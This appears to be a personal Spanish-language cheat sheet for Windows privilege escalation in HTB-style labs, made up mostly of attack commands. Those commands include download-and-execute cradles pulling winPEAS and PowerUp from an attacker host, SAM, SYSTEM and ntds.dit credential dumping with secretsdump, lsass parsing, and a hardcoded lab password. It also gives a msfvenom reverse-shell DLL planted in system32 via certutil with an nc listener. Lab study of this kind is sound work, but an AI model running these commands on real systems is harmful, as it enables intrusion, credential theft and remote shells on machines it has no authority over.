Skip to content

Windows

#privesc #windows #seimpersonateprivilege #SeManageVolumePrivilege #sebackupprivilege #serestoreprivilege

bash
whoami /all
powershell
IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/winPEAS.ps1')

exploit suggester

bash
use post/multi/recon/local_exploit_suggester

set SESSION x
run

Credenciales en caché

Necesitamos una sesión interactiva y un perfil de usuario, no un login de red (evil-winrm) 🔗 https://bitvise.com/wug-logontype

powershell
Invoke-RunasCs -Username C.Neri -password Zer0the0ne -Domain vintage.htb -Command powershell.exe -Remote 10.10.15:3 -ForceProfile
bash
cmdkey /list

[+]Dumpear DPAPI creds

tasklist

Puertos en escucha

bash
netstat -ano | FindStr /I "LISTENING"

Que usuario ejecuta ese puerto

bash
tasklist /FI "PID eq 5540" /V

Si tira permission denied, probablemente sea SYSTEM o Administrator


C:\inetpub
C:\xampp\htdocs

Ver permisos sobre una carpeta:

icacls htdocs
  • (F)Full control: control total (leer, escribir, ejecutar, cambiar permisos, eliminar).

  • (RX)Read & Execute: leer + ejecutar archivos.

  • (AD)Append Data: añadir datos a un archivo o crear subcarpetas en una carpeta.

  • (WD)Write Data: escribir en archivos ya existentes o crear archivos nuevos.

LibreOffice

cmd
C:\Program Files\LibreOffice\program> type version.ini

CVE-2023-2255

Leer Historial

powershell
Get-Content "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt"
cmd
type C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

PowerUp

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
Import-Module .\PowerUp.ps1
. .\PowerUp.ps1

||

IEX (New-Object Net.WebClient).DownloadString('http://IP:PORT/PowerUp.ps1')

Invoke-AllChecks

Abrir archivo lsass.DMP

bash
pip install pypykatz
pypykatz lsa minidump lsass.dmp

SeBackup/SeRestore Privilege

  • Para sacar credenciales locales (Se puede hacer PtH y crackings)
cmd
reg save hklm\system C:\Users\svc_backup\AppData\Local\Temp\pentest\system.hive
reg save hklm\sam C:\Users\svc_backup\AppData\Local\Temp\pentest\sam.hive
bash
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
  • Para sacar las credenciales de un DC

Windows Privilege Escalation: SeBackupPrivilege - Hacking Articles

raj.dsh

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
bash
unix2dos raj.dsh
bash
upload raj.dsh
bash
cd $env:TEMP
upload raj.dsh
diskshadow /s raj.dsh
robocopy /b z:\windows\ntds . ntds.dit
bash
impacket-secretsdump -ntds ntds.dit -system system local

SeManageVolume Privilege

bash
wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f dll -o tzres.dll
bash
cd C:\Windows\system32\wbem
bash
certutil.exe -urlcache -split -f http://IP/tzres.dll
bash
rlwrap -cAr nc -lvnp PORT
systeminfo

DLL Hijacking

  • Si no somos administradores no podemos ver las dlls que carga en tiempo de ejecución
  • Si lo somos, podemos usar procmon para ello
Pasted image 20260613133825

Directorio de la app -> Donde está el exe CWD -> Directorio desde el que se lanza el exe

Preguntas

  • ¿ Se puede escribir el directorio donde se ejecuta el binario?
  • Si se ejecuta el binario sale algún verbose que diga el nombre de la dll o de dónde se carga? ¿ Se puede poner una dll en ese directorio?
  • ¿El path del sistema contiene alguna ruta donde podamos escribir?
powershell
Get-ItemPropertyValue -Path 'HKLM:\System\CurrentControlSet\Control\Session Manager\Environment' -Name 'Path'
  • ¿El path del usuario que lo ejecuta tiene alguna ruta donde podamos escribir?
powershell
# 1. Definir el usuario
$Nombre = "JAYLEE.CLIFTON"

# 2. Obtener su SID
$SID = (New-Object System.Security.Principal.NTAccount($Nombre)).Translate([System.Security.Principal.SecurityIdentifier]).Value
Write-Host "[+] El SID de $Nombre es: $SID" -ForegroundColor Cyan

# 3. Consultar su PATH personal
try {
    $UserPath = Get-ItemPropertyValue -Path "Registry::HKEY_USERS\$SID\Environment" -Name "Path" -ErrorAction Stop
    Write-Host "[+] El PATH personal del usuario es: $UserPath" -ForegroundColor Green
} catch {
    Write-Host "[-] El usuario no tiene un PATH personalizado o su perfil de registro no está cargado." -ForegroundColor Yellow
}
  • ¿Qué DLLs carga?

🔗 https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html#finding-missing-dlls

🔗 https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

Pasted image 20260723205549Pasted image 20260723210232Pasted image 20260723210949

Potatos & KrbRelayUp 🥔

Notas personales de seguridad ofensiva.